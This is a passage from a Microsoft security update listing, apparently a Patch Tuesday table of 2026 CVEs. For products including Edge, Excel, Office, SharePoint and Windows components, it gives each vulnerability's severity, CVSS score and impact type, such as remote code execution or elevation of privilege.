No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching 